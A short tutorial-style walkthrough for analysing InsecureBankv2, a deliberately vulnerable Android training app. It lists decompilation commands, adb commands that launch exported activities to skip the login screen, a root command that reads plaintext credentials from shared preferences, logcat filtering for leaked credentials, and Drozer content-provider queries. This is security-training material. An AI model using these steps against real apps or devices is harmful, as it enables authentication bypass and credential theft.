Reverse Engineering: InsecureBankv2 Analysis

InsecureBankv2 is a vulnerable-by-design Android application created for security analysts to practice reverse engineering, static analysis (SAST), and dynamic analysis (DAST).

1. Static Analysis (SAST): Unpacking & Reverse Engineering

# Decompile resources and AndroidManifest.xml using apktool:
apktool d InsecureBankv2.apk -o InsecureBank_Source

# Decompile directly to readable Java code using JADX:
jadx-gui InsecureBankv2.apk

2. Permission Analysis

A good analyst first reviews what the app requests in the AndroidManifest.xml.

• Normal: Internet, Bluetooth. Granted automatically.
• Dangerous (Runtime): Camera, Mic, Contacts, Location. Require user prompt.
• Device Admin: Critical. Can lock the phone or wipe data.

3. Invoking Exported Activities (Login Bypass)

If an activity is exported, any other app can open it directly, skipping the login screen.

adb shell
am start -n com.android.insecurebankv2/.PostLogin
am start -n com.android.insecurebankv2/.ChangePassword

4. Dynamic Analysis (DAST) & Local Data Leaks

Storing unencrypted data on the phone is the #1 mistake in mobile apps.

# Monitor logs for hardcoded credentials being printed:
adb logcat | grep "insecurebankv2"

# Check Shared Preferences for plaintext passwords (Requires Root):
adb shell
su
cat /data/data/com.android.insecurebankv2/shared_prefs/mySharedPreferences.xml

5. Drozer — The Android Pentesting Framework

Drozer interacts with apps via IPC (Inter-Process Communication).

dz> run app.package.attacksurface com.android.insecurebankv2
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers